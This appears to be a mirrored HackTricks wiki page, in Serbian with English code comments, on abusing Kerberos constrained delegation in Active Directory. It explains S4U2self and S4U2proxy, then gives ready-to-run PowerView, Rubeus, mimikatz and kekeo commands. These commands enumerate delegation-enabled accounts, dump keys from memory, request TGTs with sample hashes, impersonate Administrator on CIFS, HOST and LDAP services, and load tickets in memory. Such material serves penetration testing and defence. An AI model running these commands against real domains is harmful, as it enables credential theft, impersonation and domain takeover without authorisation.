mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
5.2 KiB
Markdown
80 lines
5.2 KiB
Markdown
# Constrained Delegation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Constrained Delegation
|
||
|
||
Korišćenjem ovoga, administrator domena može **dozvoliti** računaru da **imituje korisnika ili računar** protiv **usluge** mašine.
|
||
|
||
- **Usluga za korisnika da se sam (**_**S4U2self**_**):** Ako **račun usluge** ima _userAccountControl_ vrednost koja sadrži [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), onda može dobiti TGS za sebe (uslugu) u ime bilo kog drugog korisnika.
|
||
- **Usluga za korisnika da proxy(**_**S4U2proxy**_**):** **Račun usluge** može dobiti TGS u ime bilo kog korisnika za uslugu postavljenu u **msDS-AllowedToDelegateTo.** Da bi to uradio, prvo mu je potrebna TGS od tog korisnika za sebe, ali može koristiti S4U2self da dobije tu TGS pre nego što zatraži drugu.
|
||
|
||
**Napomena**: Ako je korisnik označen kao ‘_Račun je osetljiv i ne može se delegirati_’ u AD, nećete **moći da imitirate** njih.
|
||
|
||
To znači da ako **kompromitujete hash usluge** možete **imitirati korisnike** i dobiti **pristup** u njihovo ime do **konfigurisane usluge** (moguća **privesc**).
|
||
|
||
Štaviše, **nećete imati samo pristup usluzi koju korisnik može imitirati, već i bilo kojoj usluzi** jer se SPN (ime usluge koja se zahteva) ne proverava, samo privilegije. Stoga, ako imate pristup **CIFS usluzi** možete takođe imati pristup **HOST usluzi** koristeći `/altservice` flag u Rubeus-u.
|
||
|
||
Takođe, **pristup LDAP usluzi na DC-u**, je ono što je potrebno za eksploataciju **DCSync**.
|
||
```bash:Enumerate
|
||
# Powerview
|
||
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
|
||
#ADSearch
|
||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
||
```
|
||
|
||
```bash:Get TGT
|
||
# The first step is to get a TGT of the service that can impersonate others
|
||
## If you are SYSTEM in the server, you might take it from memory
|
||
.\Rubeus.exe triage
|
||
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
|
||
|
||
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
|
||
## Get AES/RC4 with mimikatz
|
||
mimikatz sekurlsa::ekeys
|
||
|
||
## Request with aes
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
||
|
||
# Request with RC4
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||
```
|
||
> [!WARNING]
|
||
> Postoje **drugi načini za dobijanje TGT karte** ili **RC4** ili **AES256** bez da budete SYSTEM na računaru, kao što su Printer Bug i nekontrolisana delegacija, NTLM preusmeravanje i zloupotreba Active Directory Certificate Service.
|
||
>
|
||
> **Samo imajući tu TGT kartu (ili heširanu) možete izvesti ovaj napad bez kompromitovanja celog računara.**
|
||
```bash:Using Rubeus
|
||
#Obtain a TGS of the Administrator user to self
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||
|
||
#Obtain service TGS impersonating Administrator (CIFS)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||
|
||
#Impersonate Administrator on different service (HOST)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
||
|
||
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
|
||
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
|
||
|
||
#Load ticket in memory
|
||
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
||
```
|
||
|
||
```bash:kekeo + Mimikatz
|
||
#Obtain a TGT for the Constained allowed user
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
|
||
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
||
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
||
|
||
#Load the TGS in memory
|
||
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
||
```
|
||
[**Više informacija na ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|